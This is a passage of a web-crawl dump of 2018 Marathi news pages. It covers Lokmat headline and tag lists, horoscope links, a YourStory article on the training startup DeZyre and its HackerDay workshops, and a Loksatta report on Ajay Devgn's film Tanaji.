म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nमुख्यमंत्री आणि गडकरींच्या नागपुरात चार दिवसांपासून बससेवा ठप्प\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00215.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://m.divyamarathi.bhaskar.com/topics/mithun-rashi-bhavishya/%7B%7Bvalue.url%7D%7D?ref=menu", "date_download": "2018-09-25T16:42:10Z", "digest": "sha1:P7QTVMSTH5DFRR6XHZXGFWKUAQZQNGFY", "length": 3743, "nlines": 38, "source_domain": "m.divyamarathi.bhaskar.com", "title": "Hindi News, Latest News, की ब्रेकिंग न्यूज़ - Money Bhaskar", "raw_content": "\nमिथुन राशी : जाणून घ्या 22 Sep 2018 ला तुम्हाला कोणत्या आव्हानांना सामोरे जावे लागू शकते आणि काय करावे-काय करू नये\n22 Sep 2018, मिथुन राशीफळ: काहीसा असा राहील तुमच्यासाठी आजचा दिवस\nमिथुन राशी : जाणून घ्या 21 Sep 2018 ला तुम्हाला कोणत्या आव्हानांना सामोरे जावे लागू शकते आणि काय करावे-काय करू नये\n20 Sep 2018: काहीशी अशी राहील मिथुन राशीच्या लोकांसाठी लव्ह-लाइफ, जाणून घ्या तुमच्यासोबत आज काय चांगले घडू शकते\nआजचे मिथुन राशिफळ, 19 Sep 2018: जाणून घ्या, तुमच्यासाठी कसा राहील आजचा दिवस\n15 Sep 2018: काहीशी अशी राहील मिथुन राशीच्या लोकांसाठी लव्ह-लाइफ, जाणून घ्या तुमच्यासोबत आज काय चांगले घडू शकते\n14 Sep 2018, मिथुन राशिफळ : जाणून घ्या, मिथुन राशीच्या लोकांसाठी कसा राहील आजचा दिवस\n13 Sep 2018: काहीशी अशी राहील मिथुन राशीच्या लोकांसाठी लव्ह-लाइफ, जाणून घ्या तुमच्यासोबत आज काय चांगले घडू शकते\nआजचे मिथुन राशिफळ, 11 Sep 2018: जाणून घ्या, तुमच्यासाठी कसा राहील आजचा दिवस\n8 Sep 2018, मिथुन राशिफळ : जाणून घ्या, मिथुन राशीच्या लोकांसाठी कसा राहील आजचा दिवस\nमिथुन राशिफळ, 7 Sep 2018: आज काय चांगले घडू शकते तुमच्यासोबत आणि कोणत्या गोष्टींमध्ये राहावे सांभाळून\nमिथुन राशी : 6 Sep 2018: जाणून घ्या, मिथुन राशीच्या लोकांसाठी कसा राहील आजचा दिवस\n5 Sep 2018, मिथुन राशीफळ: काहीसा असा राहील तुमच्यासाठी आजचा दिवस\n4 Sep 2018, मिथुन राशीफळ: काहीसा असा राहील तुमच्यासाठी आजचा दिवस\n3 Sep 2018, मिथुन राशीफळ: काहीसा असा राहील तुमच्यासाठी आजचा दिवस\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00215.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/95f862c8af/online-training-workshop-through-skill-development-oriented-startup-39-dzire-39-", "date_download": "2018-09-25T17:56:52Z", "digest": "sha1:HG4QBVHD6UNR6FXG7XV3EZRTIKM5XEKZ", "length": 15201, "nlines": 96, "source_domain": "marathi.yourstory.com", "title": "ऑनलाईन कार्यशाळेच्या माध्यमातून कौशल्य विकासाचं प्रशिक्षण देणारं स्टार्टअप 'डिझायर'", "raw_content": "\nऑनलाईन कार्यशाळेच्या माध्यमातून कौशल्य विकासाचं प्रशिक्षण देणारं स्टार्टअप 'डिझायर'\nसध्या बाजारपेठेत शैक्षणिक क्षेत्रातील साधारणपणे ६० यशस्वी स्टार्ट अप्स आहेत, असा शैक्षणिक तज्ज्ञांचा अंदाज आहे.दरवर्षी अशाप्रकारची अंदाजे १००-२०० स्टार्टअप्स सुरु होतात. या स्टार्टअप्समधल्या बऱ्याच कंपन्यांचा भर अभ्यासक्रम, मजकूर विकास यांच्यासोबतच कौशल्य प्रशिक्षण, व्यावसायिक अभ्यासक्रम आणि ऑनलाईन प्रमाणपत्र अभ्यासक्रम यावर असतो.\nदेशात निर्माण झालेली नोकरदारांची गरज आणि सिलीकॉम व्हॅलीसारख्या प्रकल्पांचं यश यांमुळे गेल्या काही वर्षांमध्ये शैक्षणिक स्टार्टअप्समध्ये नक्कीच वाढ झाली आहे, असं डिझायर डॉट कॉमचे सहसंस्थापक बिन्नी मॅथ्यूज सांगतात.\nयाच गोष्टीमुळे त्यांनाही प्रेरणा मिळाली. बिन्नी आणि ओमेर आसीम यांनी नोव्हेंबर २०१२ मध्ये डिझायर (DeZyre) डॉटकॉमची स्थापना केली. व्यावसायिकांना प्रत्यक्ष कौशल्य प्रशिक्षण देणं हा यामागचा हेतू होता.\nया ऑनलाईन व्यासपीठाच्या माध्यमातून ज्या व्यावसायिकांना पुढे आपलं करिअर आणखी चांगलं करायचं आहे त्यांच्यासाठी मोठ्या डेटा प्रोग्रामिंग आणि एम एस एक्सेलचे जवळपास सात अभ्यासक्रम करता येऊ शकतात. सुरुवातीला यातील बहुतेक सर्व अभ्यासक्रम आधीच रेकॉर्ड केलेले होते. फक्त यात बिग डेटा प्रोग्रमिंगची हडूप ही भाषा थेट शिकविली जायची.\nआतापर्यंत ते जवळपास भारतातील आणि अमेरिकेतील ९००० उत्सुक शिकाऊ उमेदवारांपर्यंत पोहोचले आहेत. तसंच काही मोठ्या गुंतवणुकदारांकडून निधीही त्यांना मिळाला आहे. यामध्ये फ्लिपकार्टचे सहसंस्थापक बिन्नी बन्सल, न्यूटॉय चे सहसंस्थापक डेव्हिड बेटनर आणि मायकेल चॉ, क्विझेचे सहसंस्थापक गुरू गोवरप्पन, इमॅजिनके १२ आणि हेडगे आणि निधी व्यवस्थापक श्रीकांत राममूर्ती यांचा समावेश आहे.\nगेल्यावर्षीही त्यांनी आयबीएम च्या सहकार्यानं बिग डेटा एनॅलिटिक्सवर पाच संयुक्त प्रमाणत्र अभ्यासक्रम सुरु केलेत.\nवर्गात बसून शिकविण्यापेक्षा उद्योग क्षेत्रातील तज्ज्ञ आणि प्रतिष्ठित व्यक्तिंकडून कौशल्य प्रशिक्षण द्यायला पाहिजे हे आमच्या लक्षात आलं, असं बिन्नी सांगतात.\nशिकाऊ उमेदवारांना फक्त नवीन तंत्रज्ञान शिकवण्यासोबतच या क्षेत्रात जे आधीपासून काम करत आहेत, त्यांना तंत्रज्ञानासोबत, विकासासोबत अद्ययावत राहण्यासाठीही मदत करणं गरजेचं आहे, हे त्यांच्या लवकरच लक्षात आलं.\nयासाठी त्यांनी सदस्यत्वावर आधारित हॅकरडे हा प्रशिक्षण कार्यक्रम सुरु केला. यामध्ये दर पंधरा दिवसांनी उद्योग क्षेत्रातील तज्ज्ञ सध्याच्या तंत्रज्ञानाच्या प्रकल्पांवर आधारित कार्यशाळा घेतात.\nहॅकरडे ही जगातील आतापर्यंतची पहिली करिअर अद्ययावत करणारी सेवा आहे, असं बिन्नी सांगतात. ही सेवा दर महिना ९ डॉलर्स शुल्क देणाऱ्या सदस्यांसाठी आहे. ही सेवा अजून बेटा फेजमध्ये आहे. सध्या ही सेवा फक्त निमंत्रण देऊनच मिळवता येऊ शकते. पण लवकरच ही सेवा सगळ्यांसाठी खुली होणार आहे.\nआपल्या करिअरमध्ये अद्ययावत राहण्यासाठी हॅकरडे सेवा अत्यंत काळजीपूर्वक तयार करण्यात आली आहे. यापूर्वी प्रकल्प सुरु असताना नवीन तंत्रज्ञान शिकण्यासाठी व्यावसायिकांना अन्य कोणताही सोपा मार्ग नव्हता. मी डेटा अॅनालिस्ट म्हणून काम करत असताना जर अशी सेवा असती, तर मला नक्कीच आवडलं असतं, असं हॅकरडेचे उत्पादन प्रमुख सुमन कुमार सांगतात.\nपहिली हॅकर डे २१ नोव्हेंबरला झाली.त्याचा विषय होता, ‘डेटा सायन्स वापरून टायटॅनिकवर कोणी जिवंत असू शकेल का याचा अंदाज लावणे’ . टायटॅनिकवर जे संकट ओढावलं, जो अनर्थ झाला त्याचां विश्लेषण उपलब्ध माहितीच्या आधारे करण्यावर या कार्यशाळेत भर देण्यात आला होता.\nआपल्याला माहिती आहे अशा वेळेस उच्चभ्रू वर्ग, लहान मुलं आणि महिलांसाठी लाईफबोट्स देण्याला प्राधान्य होतं. त्यावरून कोणते प्रवासी या संकटातून वाचले आणि जे वाचले ते टायटॅनिकवर होते का याचा अंदाज लावायला शिकण्यासाठी मशिन्सची काही साधनं वापरायला या कार्यशाळेनं मदत केली, असं बिन्नी सांगतात.\nत्यापुढील सत्रांचा उद्देश हा डेटा सायन्स आणि बिग डेटा विश्लेषण हा होता. पुढच्या महिन्यात वेब डेव्हलपमेंट आणि डिजीटल मार्केटिंग या विषयाची ओळख करून देण्यासाठी कार्यशाळा आयोजित करण्यात आली आहे.\nइकॉनॉमिस्ट किंवा फोर्ब्ससाठी महिन्याच्या सदस्यत्वाच्या दृष्टीकोनातून याचा विचार करा. तुम्हाला हवं असेल तोपर्यंत तुम्ही तुमचं सदस्यत्व ठेवू शकता. नवीन तंत्रज्ञान शोधणं, त्या तंत्रज्ञानावर आधारित कार्यशाळा आयोजित करणं, उद्योगक्षेत्रातील उत्तम तज्ज्ञ शोधणं आणि तुम्हाला अद्ययावत ठेवणं ही डिझायर ची जबाबदारी हे, असं बिन्नी सांगतात.\nयोग्य ती जागरुकता असेल, तर व्यावसायिक क्षेत्रात अशा प्रकारच्या स्टार्टअप्सना भरपूर वाव आहे.\nउद्योग विश्लेषक, बाजारपेठ संशोधन संस्था, ऑनलाईन मार्केटवर आधारित प्रकल्प या सगळ्याची बाजारपेठ २०१५ मध्ये १०७ अब्ज अमेरिकन डॉलर्सपर्यंत पोहोचणार आहे. विविध क्षेत्रांत कौशल्य विकासावर भर देणारेअनेक स्टार्ट अप्स आहेत.\nकौशल्य विकासाचं ऑनलाईन प्रशिक्षण देणाऱ्या चांगल्या कंपन्यांपैकी काही म्हणजे- युडासिटी. या कंपनीनं नुकताच १०५ दशलक्ष अमेरिकन डॉलर्सचा नफा कमावला आहे. तर लिंकेडीन या कंपनीनं लिंडा ही कंपनी या वर्षाच्या सुरुवातीला १.५ कोटीला विकत घेतली. कौशल्य विकासाचं ऑनलाईन तसंच ऑफलाईन प्रशिक्षण देणारं व्यासपीठ म्हणजे जनरल एसेंब्ली ही कंपनी स्कीलब्ले ही याच यादीतली आणखी एक कंपनी.\nगेल्या दोन वर्षांत ऑनलाईन अभ्यासक्रमांची बाजारपेठ मोठ्या प्रमाणात वाढली आहे. त्यासाठी कोर्सिआ आणि इडीएक्स यासारख्या वेबसाईट्सचे पर्याय उपलब्ध आहेत.\nहॅकर डे साठी यूस्टोरीचे वाचक इथे रजिस्टर करू शकतात.\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00215.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.loksatta.com/manoranjan-news/bollywood-actor-ajay-devgn-wants-to-launch-the-film-taanaji-on-a-larger-canvas-with-a-3d-version-1664171/", "date_download": "2018-09-25T17:48:06Z", "digest": "sha1:R6232BXLQ2Y4ASKIQIBON7L4UD3UV6XF", "length": 13099, "nlines": 205, "source_domain": "www.loksatta.com", "title": "Bollywood actor ajay devgn wants to launch the film taanaji on a larger canvas with a 3d version | तानाजी मालुसरेंची शौर्यगाथा ३डी स्वरुपात प्रेक्षकांच्या भेटीला | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nतानाजी मालुसरेंची शौर्यगाथा ३डी स्वरुपात प्रेक्षकांच्या भेटीला\nतानाजी मालुसरेंची शौर्यगाथा ३डी स्वरुपात प्रेक्षकांच्या भेटीला\nअतिशय महत्त्वपूर्ण प्रोजेक्टच्या वाटेत अडचणी आलेल्या असल्या तरीही अजयने मात्र या प्रोजेक्टशी कोणतीच तडजोड केली नाही.\nछाया सौजन्य- ट्विटर/ अजय देवगण\nअभिनय क्षेत्रासोबतच चित्रपट दिग्दर्शन आणि निर्मितीमध्येही उल्लेखनीय कामगिरी बजावणाऱ्या अभिनेता अजय देवगण याने काही महिन्यांपूर्वी एका चित्रपटाची घोषणा केली होती. अतियश महत्त्वाच्या अशा या प्रोजेक्टचा फर्स्ट लूकही त्याने सोशल मीडियावर शेअर केला होता. पण, त्यानंतर मात्र काही कारणांमुळे त्याच्या हा महत्त्वाकांक्षी प्रोजेक्ट लांबणीवर गेला. अजयचा तो बहुचर्चित प्रोजेक्ट म्हणजे, ‘तानाजी- द अनसंग वॉरियर’.\nचित्रपट निर्मितीसाठीची समीकरणं बदलल्यामुळेच ही दिरंगाई झाल्याचं म्हटलं जात आहे. अतिशय महत्त्वपूर्ण प्रोजेक्टच्या वाटेत अडचणी आलेल्या असल्या तरीही अजयने मात्र या प्रोजेक्टशी कोणतीच तडजोड केली नाही. सूत्रांनी दिलेल्या माहितीनुसार या चित्रपटाकडून अजयच्या बऱ्याच अपेक्षा आहेत. त्याशिवाय येत्या काळात या चित्रपटाच्या निर्मितीची धुरा तो स्वत:च्या खांद्यांवर घेणार असल्याच्याही चर्चा आहे. इतकच नव्हे, तर इतिहासातील हे महत्त्वाचं पान ३डी स्वरुपात प्रेक्षकांच्या भेटीला आणण्याचा त्याचा मानस असल्याचंही म्हटलं जात आहे.\nVIDEO : अशी होती प्रवासवेड्या मित्राची अनोखी विश्वभ्रमंती\nसध्याच्या घडीला या चित्रपटाच्या प्री प्रॉडक्शनचं काम अतिशय वेगाने सुरु असून, चित्रपटाचा सेट बनवण्याचं कामही सुरु आहे. त्यामुळे येत्या काही दिवसांमध्ये या चित्रपटाच्या चित्रीकरणास सुरुवात होण्याची चिन्हं आहेत. महाराष्ट्राच्या कडेकपारीतून छत्रपती शिवाजी महाराजांच्या आणि त्यांच्या मावळ्यांच्या शौर्यगाथांचे सूर आजही गुंजत आहे. महाराज आणि त्यांच्या मावळ्यांच्या या पराक्रमांबद्दल आजवर बऱ्याच साहित्यातून आणि चित्रपटांमधून आपल्याला माहिती मिळाली आहे. याच सुवर्णमय इतिहासाची दखल आता ‘तानाजी….’च्या निमित्ताने बॉलिवूडनेही घेतली असं म्हणायला हरकत नाही.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\n१२ लाखात अनुभवा रेल्वे प्रवासाचा राजेशाही थाट\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00215.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/entertainment/sunil-grover-bharat-romance-salman-khan-302335.html", "date_download": "2018-09-25T17:42:28Z", "digest": "sha1:ZK7P2EWG44DZFRLDELM2NITUSB4JMQTB", "length": 2209, "nlines": 24, "source_domain": "lokmat.news18.com", "title": "Lokmat News - सुनील ग्रोव्हर मोठ्या पडद्यावर करणार रोमान्स–News18 Lokmat", "raw_content": "\nसुनील ग्रोव्हर मोठ्या पडद्यावर करणार रोमान्स\nसध्या डाॅक्टर मशहुर गुलाटी नक्की काय करतायत म्हणजेच काॅमेडियन सुनील ग्रोव्हर. कपिलबरोबरच्या भांडणामुळे सुनील ग्रोव्हर जास्त चर्चेत आला. कपिल आणि सुनीलचं भांडण, पॅच अप शो बंद अशा बऱ्याच कहाण्या रंगल्या.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00216.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%AE%E0%A4%B0%E0%A4%BE%E0%A4%A0%E0%A4%BE-%E0%A4%AE%E0%A5%8B%E0%A4%B0%E0%A5%8D%E0%A4%9A%E0%A4%BE/all/page-9/", "date_download": "2018-09-25T17:01:18Z", "digest": "sha1:LMDH2B2V2JVFUQIG6TY3QTHYPCQLXQQR", "length": 10478, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "मराठा मोर्चा- News18 Lokmat Official Website Page-9", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nराज्यात बरं वाईट घडल्यास बडोले जबाबदार,उदयनराजेंचा इशारा\nपैशावाल्यांची आंदोलनं मोठी होतात -राजकुमार बडोले\nनागपूरच्या हिवाळी अधिवेशनावर धडकणार मराठा मोर्चा\n'ओबीसी आरक्षणाला धक्का नको'\n'अॅट्राॅसिटी कायदा रद्द करू नये'\nपवारांचा भाजपवर 'सर्जिकल स्ट्राईक', इतका गवगवा कशाला\nकवींच्या नजरेतून मराठा मोर्चा\nमहाराष्ट्र देशा, मोर्चांच्या देशा \nमराठा मोर्चा, आरक्षण आणि राज ठाकरे\nपवारांच्या बरामतीत मराठा मोर्चा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00216.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%AF%E0%A4%9C%E0%A5%8D%E0%A4%9E/", "date_download": "2018-09-25T16:51:37Z", "digest": "sha1:7HDHYE7I3HOECK7BJKOCCNOUFQ4REDVY", "length": 11225, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "यज्ञ- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nगावाकडचे गणपती : भारतातील एकमेव बीड जिल्ह्यातील चौमुखी गणपती\nभारतातील एकमेव चार मुख असलेल्या गणपतीची मूर्ती बीड जिल्ह्यातील नवगण राजुरीच्या गणेशधाम इथं आहे.\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nऔरंगाबादेत अवयवदानाचा 'यज्ञ'; 21 जणांना मिळालं जीवदान\nटीम इंडियाच्या विजयासाठी यज्ञ\nपंतप्रधान नरेंद्र मोदींच्या भाषणातील ठळक मुद्दे\n'विशिष्ट यज्ञ केल्यानं पाऊस पडतो'\nपावसासाठी पर्जन्ययज्ञ करायला हवा, शंकराचार्यांचा सल्ला\nतेलंगणात महायज्ञाच्या मंडपाला आग\nब्लॉग स्पेस Sep 27, 2015\n पुढच्या वर्षी लवकर या \nधार्मिक कार्यक्रमांच्या नावाखाली अधिकारी आणि कार्यकर्त्यांचा नाचगाण्यांचा गोंधळ\nभजन संध्येत आयोजकांचा 'तमाशा'\nगुजरातमध्ये 200 ख्रिश्चनांनी केले धर्मांतर\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली 